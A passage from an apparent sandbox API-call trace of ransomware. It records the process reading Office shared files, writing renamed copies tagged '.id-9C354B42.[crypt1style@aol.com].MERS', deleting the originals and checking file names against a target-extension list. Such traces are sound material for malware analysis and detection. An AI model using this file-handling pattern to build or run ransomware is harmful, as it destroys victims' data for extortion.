lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0044.681] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.681] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.681] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0044.730] GetLastError () returned 0x0 [0044.730] ReadFile (in: hFile=0x1c4, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x5061, lpOverlapped=0x0) returned 1 [0044.774] WriteFile (in: hFile=0x1e4, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x5070, lpOverlapped=0x0) returned 1 [0044.775] ReadFile (in: hFile=0x1c4, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.775] WriteFile (in: hFile=0x1e4, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0044.776] SetEndOfFile (hFile=0x1e4) returned 1 [0044.868] CloseHandle (hObject=0x1e4) returned 1 [0044.869] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.869] SetEndOfFile (hFile=0x1c4) returned 1 [0044.870] CloseHandle (hObject=0x1c4) returned 1 [0044.870] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0044.870] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 1 [0044.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0044.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0044.870] lstrlenW (lpString=".doc") returned 4 [0044.870] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.870] lstrlenW (lpString=".docx") returned 5 [0044.870] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0044.870] lstrlenW (lpString=".pdf") returned 4 [0044.870] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.870] lstrlenW (lpString=".xls") returned 4 [0044.870] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.870] lstrlenW (lpString=".xlsx") returned 5 [0044.870] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0044.870] lstrlenW (lpString=".ppt") returned 4 [0044.870] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0044.870] lstrlenW (lpString=".zip") returned 4 [0044.871] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.871] lstrlenW (lpString=".rar") returned 4 [0044.871] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.871] lstrlenW (lpString=".bz2") returned 4 [0044.871] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.871] lstrlenW (lpString=".7z") returned 3 [0044.871] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0044.871] lstrlenW (lpString=".dbf") returned 4 [0044.871] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0044.871] lstrlenW (lpString=".1cd") returned 4 [0044.871] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0044.871] lstrlenW (lpString=".jpg") returned 4 [0044.871] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0044.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0044.871] lstrlenW (lpString=".doc") returned 4 [0044.871] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.871] lstrlenW (lpString=".docx") returned 5 [0044.871] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0044.871] lstrlenW (lpString=".pdf") returned 4 [0044.871] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.871] lstrlenW (lpString=".xls") returned 4 [0044.871] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.871] lstrlenW (lpString=".xlsx") returned 5 [0044.871] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0044.871] lstrlenW (lpString=".ppt") returned 4 [0044.871] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0044.871] lstrlenW (lpString=".zip") returned 4 [0044.871] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.871] lstrlenW (lpString=".rar") returned 4 [0044.871] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.871] lstrlenW (lpString=".bz2") returned 4 [0044.872] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.872] lstrlenW (lpString=".7z") returned 3 [0044.872] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0044.872] lstrlenW (lpString=".dbf") returned 4 [0044.872] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0044.872] lstrlenW (lpString=".1cd") returned 4 [0044.872] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0044.872] lstrlenW (lpString=".jpg") returned 4 [0044.872] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.872] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0044.872] lstrlenW (lpString="DATES.XML") returned 9 [0044.872] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0044.872] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=8918) returned 1 [0044.872] CloseHandle (hObject=0x1c4) returned 1 [0044.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 0x20 [0044.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0044.873] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0044.873] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.873] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.873] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0044.967] GetLastError () returned 0x0 [0044.967] ReadFile (in: hFile=0x1c4, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x22d6, lpOverlapped=0x0) returned 1 [0044.987] WriteFile (in: hFile=0x1e4, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x22e0, lpOverlapped=0x0) returned 1 [0044.988] ReadFile (in: hFile=0x1c4, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.988] WriteFile (in: hFile=0x1e4, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0044.988] SetEndOfFile (hFile=0x1e4) returned 1 [0044.988] CloseHandle (hObject=0x1e4) returned 1 [0044.988] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.988] SetEndOfFile (hFile=0x1c4) returned 1 [0044.989] CloseHandle (hObject=0x1c4) returned 1 [0044.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0044.989] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 1 [0044.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0044.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0044.990] lstrlenW (lpString=".doc") returned 4 [0044.990] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.990] lstrlenW (lpString=".docx") returned 5 [0044.990] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0044.990] lstrlenW (lpString=".pdf") returned 4 [0044.990] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.990] lstrlenW (lpString=".xls") returned 4 [0044.990] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.990] lstrlenW (lpString=".xlsx") returned 5 [0044.990] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0044.990] lstrlenW (lpString=".ppt") returned 4 [0044.990] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0044.990] lstrlenW (lpString=".zip") returned 4 [0044.990] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.990] lstrlenW (lpString=".rar") returned 4 [0044.990] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.990] lstrlenW (lpString=".bz2") returned 4 [0044.990] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.990] lstrlenW (lpString=".7z") returned 3 [0044.990] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0044.990] lstrlenW (lpString=".dbf") returned 4 [0044.990] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0044.990] lstrlenW (lpString=".1cd") returned 4 [0044.990] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0044.990] lstrlenW (lpString=".jpg") returned 4 [0044.990] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0044.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0044.991] lstrlenW (lpString=".doc") returned 4 [0044.991] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.991] lstrlenW (lpString=".docx") returned 5 [0044.991] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0044.991] lstrlenW (lpString=".pdf") returned 4 [0044.991] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.991] lstrlenW (lpString=".xls") returned 4 [0044.991] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.991] lstrlenW (lpString=".xlsx") returned 5 [0044.991] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0044.991] lstrlenW (lpString=".ppt") returned 4 [0044.991] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0044.991] lstrlenW (lpString=".zip") returned 4 [0044.991] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.991] lstrlenW (lpString=".rar") returned 4 [0044.991] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.991] lstrlenW (lpString=".bz2") returned 4 [0044.991] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.991] lstrlenW (lpString=".7z") returned 3 [0044.991] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0044.991] lstrlenW (lpString=".dbf") returned 4 [0044.991] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0044.991] lstrlenW (lpString=".1cd") returned 4 [0044.991] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0044.991] lstrlenW (lpString=".jpg") returned 4 [0044.991] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.992] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0044.992] lstrlenW (lpString="TIME.XML") returned 8 [0044.992] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0044.992] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=8564) returned 1 [0044.992] CloseHandle (hObject=0x1c4) returned 1 [0044.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 0x20 [0044.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0044.992] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0044.992] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.992] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.992] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0044.993] GetLastError () returned 0x0 [0044.993] ReadFile (in: hFile=0x1c4, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x2174, lpOverlapped=0x0) returned 1 [0045.042] WriteFile (in: hFile=0x1e4, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x2180, lpOverlapped=0x0) returned 1 [0045.043] ReadFile (in: hFile=0x1c4, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.043] WriteFile (in: hFile=0x1e4, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0045.043] SetEndOfFile (hFile=0x1e4) returned 1 [0045.043] CloseHandle (hObject=0x1e4) returned 1 [0045.043] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.043] SetEndOfFile (hFile=0x1c4) returned 1 [0045.044] CloseHandle (hObject=0x1c4) returned 1 [0045.044] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0045.044] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 1 [0045.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0045.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0045.044] lstrlenW (lpString=".doc") returned 4 [0045.045] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.045] lstrlenW (lpString=".docx") returned 5 [0045.045] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0045.045] lstrlenW (lpString=".pdf") returned 4 [0045.045] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.045] lstrlenW (lpString=".xls") returned 4 [0045.045] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.045] lstrlenW (lpString=".xlsx") returned 5 [0045.045] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0045.045] lstrlenW (lpString=".ppt") returned 4 [0045.045] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0045.045] lstrlenW (lpString=".zip") returned 4 [0045.045] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.045] lstrlenW (lpString=".rar") returned 4 [0045.045] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.045] lstrlenW (lpString=".bz2") returned 4 [0045.045] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.045] lstrlenW (lpString=".7z") returned 3 [0045.045] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0045.045] lstrlenW (lpString=".dbf") returned 4 [0045.045] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0045.045] lstrlenW (lpString=".1cd") returned 4 [0045.045] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0045.045] lstrlenW (lpString=".jpg") returned 4 [0045.045] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0045.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0045.045] lstrlenW (lpString=".doc") returned 4 [0045.046] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.046] lstrlenW (lpString=".docx") returned 5 [0045.046] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0045.046] lstrlenW (lpString=".pdf") returned 4 [0045.046] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.046] lstrlenW (lpString=".xls") returned 4 [0045.046] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.046] lstrlenW (lpString=".xlsx") returned 5 [0045.046] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0045.046] lstrlenW (lpString=".ppt") returned 4 [0045.046] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0045.046] lstrlenW (lpString=".zip") returned 4 [0045.046] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.046] lstrlenW (lpString=".rar") returned 4 [0045.046] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.046] lstrlenW (lpString=".bz2") returned 4 [0045.046] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.046] lstrlenW (lpString=".7z") returned 3 [0045.046] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0045.046] lstrlenW (lpString=".dbf") returned 4 [0045.046] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0045.046] lstrlenW (lpString=".1cd") returned 4 [0045.046] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0045.046] lstrlenW (lpString=".jpg") returned 4 [0045.046] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.047] lstrcmpiW (lpString1=".htm", lpString2=".MERS") returned -1 [0045.047] lstrlenW (lpString="Bears.htm") returned 9 [0045.047] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0045.048] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=255) returned 1 [0045.048] CloseHandle (hObject=0x1c4) returned 1 [0045.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0045.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0045.048] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft 